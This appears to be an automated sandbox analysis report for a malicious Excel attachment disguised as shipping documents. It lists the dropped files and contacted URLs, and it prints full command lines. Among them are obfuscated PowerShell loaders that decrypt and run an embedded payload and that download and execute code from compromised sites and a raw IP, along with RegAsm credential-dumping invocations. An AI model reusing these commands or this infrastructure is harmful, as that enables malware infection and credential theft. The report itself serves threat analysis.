Files
File Path
|
Type
|
Category
|
Malicious
|
|
---|---|---|---|---|
waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xls
|
Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application:
Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Fri Jul 26 07:25:48 2024, Security: 1
|
initial sample
|
||
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\createdgoodthingstogetmebacktheentirethingsinolineswitchtogilfrnfboobstounderstandhowfeelurareinthesituation_____________creanthesituationgirlfrnd[1].doc
|
Rich Text Format data, version 1
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\715CC54E.doc
|
Rich Text Format data, version 1
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{E4A5FB01-995F-4785-9031-8AAEF937D825}.tmp
|
Composite Document File V2 Document, Cannot read section info
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\Forfrelsens.vbs
|
ASCII text, with very long lines (2168), with CRLF line terminators
|
dropped
|
||
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Oi8.url
|
MS Windows 95 Internet shortcut text (URL=<http://hq.ax/Oi8>), ASCII text, with CRLF line terminators
|
dropped
|
||
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\hq.ax.url
|
MS Windows 95 Internet shortcut text (URL=<http://hq.ax/>), ASCII text, with CRLF line terminators
|
dropped
|
||
C:\Users\user\AppData\Roaming\createdthingstobefrankwithmeeverywhe.vBS
|
Unicode text, UTF-16, little-endian text, with CRLF line terminators
|
dropped
|
||
C:\Users\user\AppData\Roaming\sfvnspt.dat
|
data
|
dropped
|
||
C:\Users\user\Desktop\waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xls (copy)
|
Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application:
Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Fri Jul 26 12:03:02 2024, Security: 1
|
dropped
|
||
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506
|
Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks,
0x1 compression
|
dropped
|
||
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD (copy)
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\Oi8[1].htm
|
HTML document, ASCII text, with CRLF line terminators
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\createdthingstobefrankwithmeeverywhere[1].gif
|
Unicode text, UTF-16, little-endian text, with CRLF line terminators
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\json[1].json
|
JSON data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6238021F.emf
|
Windows Enhanced Metafile (EMF) image data version 0x10000
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B64ED16C.emf
|
Windows Enhanced Metafile (EMF) image data version 0x10000
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\CA43EF57.emf
|
Windows Enhanced Metafile (EMF) image data version 0x10000
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F697BD29.emf
|
Windows Enhanced Metafile (EMF) image data version 0x10000
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{0D34D727-E2F1-4E31-A3E3-D5300EB8E8D7}.tmp
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{3E3F9CD7-D30B-4D91-9082-56066407C687}.tmp
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\4ddbr1wd.iop.psm1
|
very short file (no magic)
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\4indxxoe.jdf.psm1
|
very short file (no magic)
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\5umiqvdy.drc.ps1
|
very short file (no magic)
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\Cab425E.tmp
|
Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks,
0x1 compression
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\Tar425F.tmp
|
data
|
modified
|
||
C:\Users\user\AppData\Local\Temp\bhv4625.tmp
|
Extensible storage engine DataBase, version 0x620, checksum 0x29890519, page size 32768, DirtyShutdown, Windows version 6.1
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\lyur
|
Unicode text, UTF-16, little-endian text, with no line terminators
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\mub5rqwr.bt1.ps1
|
very short file (no magic)
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\nosgifui.kdz.psm1
|
very short file (no magic)
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\tvuakwq2.jyj.ps1
|
very short file (no magic)
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{B2098566-2CFC-4B9E-BC7A-B1A0E86366CD}
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\{D830338D-7FB4-42F3-A4F3-B63821D53AF4}
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\~DF67F6440102D4275A.TMP
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\~DF68D693F9F252CFD4.TMP
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\~DFBD4D1EC3A255F639.TMP
|
data
|
dropped
|
||
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
|
Generic INItialization configuration [xls]
|
modified
|
||
C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
|
data
|
dropped
|
||
C:\Users\user\AppData\Roaming\Snigmyrdede.Sko
|
ASCII text, with very long lines (65536), with no line terminators
|
dropped
|
||
C:\Users\user\Desktop\1E630000
|
Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application:
Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Fri Jul 26 12:03:02 2024, Security: 1
|
dropped
|
||
C:\Users\user\Desktop\1E630000:Zone.Identifier
|
ASCII text, with CRLF line terminators
|
dropped
|
There are 34 hidden files, click here to show them.
Processes
Path
|
Cmdline
|
Malicious
|
|
---|---|---|---|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
|
||
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
|
"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding
|
||
C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
|
"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
|
||
C:\Windows\SysWOW64\wscript.exe
|
"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createdthingstobefrankwithmeeverywhe.vBS"
|
||
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
|
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged
= New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g
= [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key
= ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes
= [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes
= TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return
[System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI98685860701936162316809131591218CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64
= '+'CnI/cGJmqVj5jCchNUuqniccRhpmR5qMkJqyaxLjAOoZS+I6UjjzBuHKkMUIawH3bTvDj7nWJq1X++W/D0YbGXb8mznv8QaOqQP1S2jB+yDre2mYNc51z88VDp5yhLxv2jub4BAD5MQkn09gj7sFrzKiS0Lv4bbd7SWdBlNNY01HOPdZZi88uLKrHF094fRfKbDTWl6drqxh86PYBPPz5p2Ly9NFsVGPk0kub6u6Kg9MbD3UxusVGZCdUc0aq5EXDqvPaek1WSrhMDfsWP03fZTtbxI2uIb73uc20hNa8tKlWpVgQcg5yXgT1Syt4JsFjugZ9Qtq1uX/OG7aRAuR2SPi44P27EfktJtInMKpDXYHkjZS52YqNTFAu7vkn80WLfrjaKO1puSNI83KG4Gb5VMO0L0qfDKNvusZUr6nwSAndn5NEdU4kRRcVNX137D+ZBob0WbqlGLDBY6a+EMGzYtzcJ9yDU9sRHuvpnJ5c0hkwPy4DW2nC9xKyXClHpMrOAGz59KK909AdcVa3cZMI4okN0iylLC6wphikPk+n/lH8dSrmPfxXmnyxHQ6FPMQ3t7W6XvHMIHBTNK1roZfwexEEon7dKRDC0d2IrLWlyM+aSkJSwieqOUXpMZyJUm2hcsj8O2qQ6SJSSECSO9pH7mC3RTLzx/Yu4I0g+aMXaEbo7jnGZCzrsoXBRasrE5huijlM3SPVHWt7BmPHFNB5UAtl1Poeor3payTIoDvmHLQ5udJKwLQ55FOeaNJf+pmojioT+Punj9PkhiGcH6xTdE+2IrxNPE7ay7Vlrz0F+zzhORfur8P5pHWq383QgBA8DubDwQoW+2/zvvGy0+vtBVpAZBtMhKqsSHtY4fy3hgqLxKhWAneQJQ8WqLkzqUVDY9EPZtjGeMds6via1iXp+weIOrC5nUhoaj4yGoY2MoXMyeOduTv3614RUxvqvvcerqLinXXajm5YyY2gVFXVy7lQs/l3ppDJ/Er9yz3s9rYpNCLl0sEExFChP/0AEE9hA3qtQqm07KfQM7Fm/TxVhAZZQIl8WYJ4sl9VdVuOvk82qKlTC24fpX5MYkZQF4iy2oZu7+PswZNBWNr+R8IbeXGpk6YULjJIQEn49p7IIebLL4A+J83MoPUBcLr/3wfiOdRztCS5fsI1/7gWW61aBZmh9WQ5Y/PN8qrPMJKYzSp84UIHHxGLfpUuclLTYd6067KhaUF+isNYUo0YQamdLvdcnsAnB1fFVG2Z6opzbG7sqFu6AQguz584NTtWuBMlcl43XDc/g09jFmr9jk22MvT+6/1kqeSuax5g4j6g6n3MjeEp9CvY3LOjh+/KWuQr/Kbqc4JIBZhwkTcrNn4Yi2/MmJ/0v3oIfVqNNecpNoQxXyyJjgkG+362VFqQj/+ROnzXepvq3WcWkQ/CheHAW5Iw==CnI;TMItextoDescriptografado
= Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado:
TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34
-cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&(
$verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
|
||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
|
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
|
||
C:\Windows\SysWOW64\wscript.exe
|
"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Forfrelsens.vbs"
|
||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
|
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\lyur"
|
||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
|
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\nazcoqq"
|
||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
|
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\yueuojavag"
|
||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
|
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\yueuojavag"
|
||
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
|
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne
Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens
Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene
forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes
Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If
(${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For(
$truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman,
$Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94
' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1
0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94
' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/
/,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94
'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS
n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,).
');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance
(Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S
eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o
bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance
(Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD
o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance
(Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit)
{Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance
(Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes94 'S$ gSlPoAbLaSlb:AS.a tTeSlNl,iSt =T(,T ecs tF- PSa,t.h,
N$FPSr,oSg r a mGrmeGdJa kSt rSs )D ') ;Scance (Svndyssendes94 '.$Lg.l o,bha lD:VfRoSrVl i sAe.= $,g lBoSbAa,lV:FSAmOaGa t
r.yEk,kse n eP+E+ %a$gSHu.jieHt .ScKoHu n,tH ') ;$Udvandringerne=$Sujet[$forlise];}$Hjsangs=362888;$Destalinising=27100;Scance
(Svndyssendes94 'A$.g l oHb a l :SW h i f.fSe rP B=F G e t -DCFo n t,eFnNtW S$ PrrAo gSrHaSm rPe d aTkIt.rPsT ');Scance (Svndyssendes94
'N$og,l.oFbDaTlT:SFPoCr.l iNs E=H F[ S yRs.tce mS.CCPoAn.v eRr,tT] :,:,F r.o m B,aOs,e 6B4 SPtErFi.nOgD(F$ WVh icf fFehr,)L
');Scance (Svndyssendes94 'T$Bg lOo,bVa l :oHAeTbKeCn oGn =R F[.SBy.sPt e m..TT.e.x.t..VESn c.oGd,i n gD],:.:GA S CNIGI,.
G eCt,SAt r.i n gG( $ FPo,r lliIsF) ');Scance (Svndyssendes94 'K$,gYlSoDb,a.lB:ODLe sNq uTa mFa tDiCoAn s = $ H.eLbYeHn oSnB.MsruFbMsPt
rLiAnBg.( $.Hlj,s aAnSg sA,T$FD eTs tAaGlUi n ips i nugC)R ');Scance $Desquamations;"
|
||
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
|
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne
Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens
Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene
forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes
Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If
(${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For(
$truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman,
$Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94
' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1
0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94
' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/
/,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94
'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS
n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,).
');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance
(Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S
eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o
bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance
(Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD
o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance
(Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit)
{Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance
(Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes94 'S$ gSlPoAbLaSlb:AS.a tTeSlNl,iSt =T(,T ecs tF- PSa,t.h,
N$FPSr,oSg r a mGrmeGdJa kSt rSs )D ') ;Scance (Svndyssendes94 '.$Lg.l o,bha lD:VfRoSrVl i sAe.= $,g lBoSbAa,lV:FSAmOaGa t
r.yEk,kse n eP+E+ %a$gSHu.jieHt .ScKoHu n,tH ') ;$Udvandringerne=$Sujet[$forlise];}$Hjsangs=362888;$Destalinising=27100;Scance
(Svndyssendes94 'A$.g l oHb a l :SW h i f.fSe rP B=F G e t -DCFo n t,eFnNtW S$ PrrAo gSrHaSm rPe d aTkIt.rPsT ');Scance (Svndyssendes94
'N$og,l.oFbDaTlT:SFPoCr.l iNs E=H F[ S yRs.tce mS.CCPoAn.v eRr,tT] :,:,F r.o m B,aOs,e 6B4 SPtErFi.nOgD(F$ WVh icf fFehr,)L
');Scance (Svndyssendes94 'T$Bg lOo,bVa l :oHAeTbKeCn oGn =R F[.SBy.sPt e m..TT.e.x.t..VESn c.oGd,i n gD],:.:GA S CNIGI,.
G eCt,SAt r.i n gG( $ FPo,r lliIsF) ');Scance (Svndyssendes94 'K$,gYlSoDb,a.lB:ODLe sNq uTa mFa tDiCoAn s = $ H.eLbYeHn oSnB.MsruFbMsPt
rLiAnBg.( $.Hlj,s aAnSg sA,T$FD eTs tAaGlUi n ips i nugC)R ');Scance $Desquamations;"
|
||
C:\Windows\SysWOW64\cmd.exe
|
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snigmyrdede.Sko && echo t"
|
||
C:\Windows\SysWOW64\cmd.exe
|
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snigmyrdede.Sko && echo t"
|
There are 5 hidden processes, click here to show them.
URLs
Name
|
IP
|
Malicious
|
|
---|---|---|---|
https://new.quranushaiqer.org.sa/wp-admin/oserve/transportment.pfm
|
34.166.62.190
|
||
http://104.168.45.34/59/bn/createdgoodthingstogetmebacktheentirethingsinolineswitchtogilfrnfboobstounderstandhowfeelurareinthesituation_____________creanthesituationgirlfrnd.doc
|
104.168.45.34
|
||
http://104.168.45.34/59/createdthingstobefrankwithmeeverywhere.gIF
|
104.168.45.34
|
||
iwarsut775laudrye2.duckdns.org
|
|||
http://104.168.45.34/59/LMTS.txt
|
104.168.45.34
|
||
http://b.scorecardresearch.com/beacon.js
|
unknown
|
||
http://acdn.adnxs.com/ast/ast.js
|
unknown
|
||
http://www.imvu.comr
|
unknown
|
||
http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_167%2Cw_312%2Cc_fill%2Cg_faces%2Ce_
|
unknown
|
||
https://asociatiatraditiimaria.ro/feed/
|
unknown
|
||
http://ocsp.entrust.net03
|
unknown
|
||
https://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=1
|
unknown
|
||
https://contoso.com/License
|
unknown
|
||
https://support.google.com/chrome/?p=plugin_flash
|
unknown
|
||
http://cdn.taboola.com/libtrc/static/thumbnails/f539211219b796ffbb49949997c764f0.png
|
unknown
|
||
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
|
unknown
|
||
http://www.diginotar.nl/cps/pkioverheid0
|
unknown
|
||
https://cvision.media.net/new/286x175/2/137/169/197/852af93e-e705-48f1-93ba-6ef64c8308e6.jpg?v=9
|
unknown
|
||
http://acdn.adnxs.com/ib/static/usersync/v3/async_usersync.html
|
unknown
|
||
http://www.nirsoft.net
|
unknown
|
||
https://asociatiatraditiimaria.ro/wp-content/plugins/elementor/assets/css/frontend-lite.min.css?ver=
|
unknown
|
||
https://deff.nelreports.net/api/report?cat=msn
|
unknown
|
||
https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.js
|
unknown
|
||
https://gmpg.org/xfn/11
|
unknown
|
||
https://asociatiatraditiimaria.ro/wp-content/uploads/elementor/css/post-2731.css?ver=1720763767
|
unknown
|
||
http://198.46.176.133
|
unknown
|
||
http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com
|
unknown
|
||
https://asociatiatraditiimaria.ro/wp-includes/css/dist/block-library/style.min.css?ver=6.6.1
|
unknown
|
||
http://cache.btrll.com/default/Pix-1x1.gif
|
unknown
|
||
http://pr-bh.ybp.yahoo.com/sync/msft/1614522055312108683
|
unknown
|
||
https://www.google.com
|
unknown
|
||
http://geoplugin.net/json.gp/C
|
unknown
|
||
http://o.aolcdn.com/ads/adswrappermsni.js
|
unknown
|
||
https://asociatiatraditiimaria.ro
|
unknown
|
||
http://cdn.taboola.com/libtrc/msn-home-network/loader.js
|
unknown
|
||
http://www.msn.com/?ocid=iehp
|
unknown
|
||
https://contoso.com/
|
unknown
|
||
https://nuget.org/nuget.exe
|
unknown
|
||
https://www.msn.com/en-us/homepage/secure/silentpassport?secure=false&lc=1033
|
unknown
|
||
http://static.chartbeat.com/js/chartbeat.js
|
unknown
|
||
http://www.msn.com/de-de/?ocid=iehp
|
unknown
|
||
https://asociatiatraditiimaria.ro/os/transportment.pfm
|
93.113.54.56
|
||
http://104.168.45.34/59/createdthingstobefrankwithmeeverywhere.gIFj
|
unknown
|
||
http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_90%2Cw_120%2Cc_fill%2Cg_faces:auto%
|
unknown
|
||
https://login.yahoo.com/config/login
|
unknown
|
||
http://104.168.45.34
|
unknown
|
||
http://www.nirsoft.net/
|
unknown
|
||
http://ocsp.entrust.net0D
|
unknown
|
||
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
|
unknown
|
||
https://contextual.media.net/803288796/fcmain.js?&gdpr=1&cid=8CUT39MWR&cpcd=2K6DOtg60bLnBhB3D4RSbQ%3
|
unknown
|
||
http://p.rfihub.com/cm?in=1&pub=345&userid=1614522055312108683
|
unknown
|
||
http://ib.adnxs.com/pxj?bidder=18&seg=378601&action=setuids(
|
unknown
|
||
https://cvision.media.net/new/286x175/3/72/42/210/948f45db-f5a0-41ce-a6b6-5cc9e8c93c16.jpg?v=9
|
unknown
|
||
